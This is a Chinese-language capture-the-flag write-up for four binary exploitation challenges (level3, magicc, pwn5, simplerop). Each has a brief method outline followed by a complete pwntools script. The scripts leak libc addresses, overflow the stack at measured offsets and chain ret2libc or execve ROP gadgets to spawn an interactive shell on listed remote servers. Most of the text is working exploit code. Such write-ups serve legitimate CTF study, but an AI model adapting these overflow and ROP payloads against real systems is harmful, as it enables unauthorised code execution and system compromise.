一.level3
思路:运行分析程序可知read函数可读256字节进栈中,因此判断存在栈溢出漏洞。查看保护信息,首先找到溢出点,再通过外部库确定内部库的system、‘/bin/sh’位置,最后在栈溢出点调用即可获得shell。
1查看保护信息。如下图,可知程序只开启了栈不可执行的保护。
2找溢出点。通过将‘pattern_create’产生的字符串作为程序输入,查看溢出的EIP内容,使用‘pattern_offset’计算溢出点距输入点140字节。如下图。
3确定内部库的system、‘/bin/sh’位置。首先获得内部程序库__libc_start_main的地址,使用libcsearch方法找到外部库相符__libc_start_main地址,计算偏移,最终通过外部system、‘/bin/sh’位置确定内部库system、‘/bin/sh’地址。
4.获得shell。在溢出点输入system及参数的信息,即调用system(‘/bin/sh’)。如下图。
脚本:
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("level3")
debugg=0 #0表示远程调试,1表示本地调试
sh = 0.
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./level3")
else:
sh = remote(ip,port)
#lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")
offset = 140
print sh.recv()
payload1='a'*offset+p32(elf.plt['write'])+p32(0x08048484)+p32(1)+p32(elf.got['__libc_start_main'])+p32(4)
sh.send(payload1)
addr__libc_start_main=u32(sh.recv(4))#获取本程序进程中__libc_start_main的地址
#print '1111'
#print addr__libc_start_main
obj = LibcSearcher("__libc_start_main", addr__libc_start_main)#libcsearch大法启动
baseaddr_libc=addr__libc_start_main-obj.dump("__libc_start_main")
addr_system=baseaddr_libc+obj.dump("system")#获得sytem地址
addr_binsh=baseaddr_libc+obj.dump("str_bin_sh")#获得/bin/sh的地址
print addr_system
#print addr_binsh
#addr_read=baseaddr_libc+obj.dump("read")
#sh.sendline("4")
#sh.recv()
#addr_bss=0x0804a040
#pppr=0x0804876d
#payload2=offset*"a"+p32(elf.plt['read'])+p32(pppr)+p32(0)+p32(addr_bss)+p32(8)+p32(addr_system)+p32(0x11111111)+p32(addr_bss) #/bin/shx00 共8个字节
payload2=offset*'a'+p32(addr_system)+p32(0x11111111)+p32(addr_binsh)
sh.sendline(payload2)
#sh.send("/bin/shx00")
sh.interactive()
if __name__ == "__main__":
pwn("120.79.1.69",10000,debugg)
二.magicc【安恒6月pwn1】
思路:运行分析程序可知4选项read函数可读40字节进栈中,因此判断存在栈溢出漏洞。查看保护信息,首先找到溢出点,再通过外部库确定内部库的system、‘/bin/sh’位置,最后在栈溢出点调用即可获得shell。
1查看保护信息。如下图,可知程序只开启了栈不可执行的保护。
2找溢出点。通过将‘pattern_create’产生的字符串作为程序输入,查看溢出的EIP内容,使用‘pattern_offset’计算溢出点距输入点22字节。如下图。
3确定内部库的system、‘/bin/sh’位置。首先获得内部程序库__libc_start_main的地址,使用libcsearch方法找到外部库相符__libc_start_main地址,计算偏移,最终通过外部system、‘/bin/sh’位置确定内部库system、‘/bin/sh’地址。
4.获得shell。在溢出点输入system及参数的信息,即调用system(‘/bin/sh’)。如下图。
脚本:
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("magicc")
debugg=0 #0表示远程调试,1表示本地调试
sh = 0.
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./magicc")
else:
sh = remote(ip,port)
#lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")
#catFlag = 0x08048847
offset = 22
sh.recv()
sh.sendline("4")
sh.recvuntil("You are one step short of success ")
payload1=offset*'a'+p32(elf.plt['puts'])+p32(0x0804862E)+p32(elf.got['__libc_start_main'])
sh.send(payload1)
addr__libc_start_main=u32(sh.recv(4))#获取本程序进程中__libc_start_main的地址
obj = LibcSearcher("__libc_start_main", addr__libc_start_main)#libcsearch大法启动
baseaddr_libc=addr__libc_start_main-obj.dump("__libc_start_main")
addr_system=baseaddr_libc+obj.dump("system")#获得sytem地址
addr_binsh=baseaddr_libc+obj.dump("str_bin_sh")#获得/bin/sh的地址
#print addr_system
#print addr_binsh
#addr_read=baseaddr_libc+obj.dump("read")
sh.sendline("4")
sh.recv()
#addr_bss=0x0804a040
#pppr=0x0804876d
#payload2=offset*"a"+p32(elf.plt['read'])+p32(pppr)+p32(0)+p32(addr_bss)+p32(8)+p32(addr_system)+p32(0x11111111)+p32(addr_bss) #/bin/shx00 共8个字节
payload2=offset*'a'+p32(addr_system)+p32(0x11111111)+p32(addr_binsh)
sh.sendline(payload2)
#sh.send("/bin/shx00")
sh.interactive()
if __name__ == "__main__":
pwn("101.132.100.243",10011,debugg)
三.pwn5
ROP2Systemcall。思路是:检测程序可知栈不可执行,则使用系统调用函数execve利用漏洞获得shell权限。
1.检测程序安全性和功能。可知程序栈不可执行,是静态链接的,2选项存在栈溢出漏洞,检测知偏移为32。如下图。
2.寻找利用函数。因为不是动态链接,所以无法获得目标系统函数在库中的信息,利用int 80h系统调用方法,则分别复制eax-edx的execve对应的值,最终获得shell。如下图。
脚本:
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("pwn5")
debugg=1 #0表示远程调试,1表示本地调试
sh = 0.
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./pwn5")
else:
sh = remote(ip,port)
#lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")
#catFlag = 0x08048847
offset = 32
#execve eax=0xb ebx=/bin/sh的地址 ecx=0 edx=0
payload=flat(['a'*32,0x080bc396,0xb,0x080481d1,0x080F1AA0,0x080e4325,0,0x0807338a,0,0x8073990])
sh.recv()
sh.sendline("1")
sh.sendline("/bin/sh 0")
sh.sendline("1")
sh.sendline("y")
sh.sendline("2")
sh.sendline(payload)
sh.interactive()
if __name__ == "__main__":
pwn("101.132.100.243",10011,debugg)
四.Simplerop
也是rop2systemcall类型的题目,这次是通过vmmap命令确定合适的bss空间存储/bin/sh(通过read函数),然后调用system系统函数就愉快地获得shell。
脚本:
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("simplerop")
debugg=1 #0表示远程调试,1表示本地调试
sh = 0.
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./simplerop")
else:
sh = remote(ip,port)
#lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")
#catFlag = 0x08048847
log.info(proc.pidof(sh)[0])
gdb.attach(sh)
offset = 32
addr_inbss=0x080EAFC3
#read() eax=0x3,ebx=0,ecx=addr_inbss,edx=10
payload=flat(['a'*32,0x080bae06,0x3,0x0806e850,10,addr_inbss,0,0x806eef0])
#execve eax=0xb ebx=0 ecx=0 edx=0
payload=payload+flat([0x080bae06,0xb,0x0806e850,0,0,addr_inbss,0x80493e1])
sh.recv()
sh.sendline(payload)
sh.sendline("/bin/sh 0")
sh.interactive()
if __name__ == "__main__":
pwn("101.132.100.243",10011,debugg)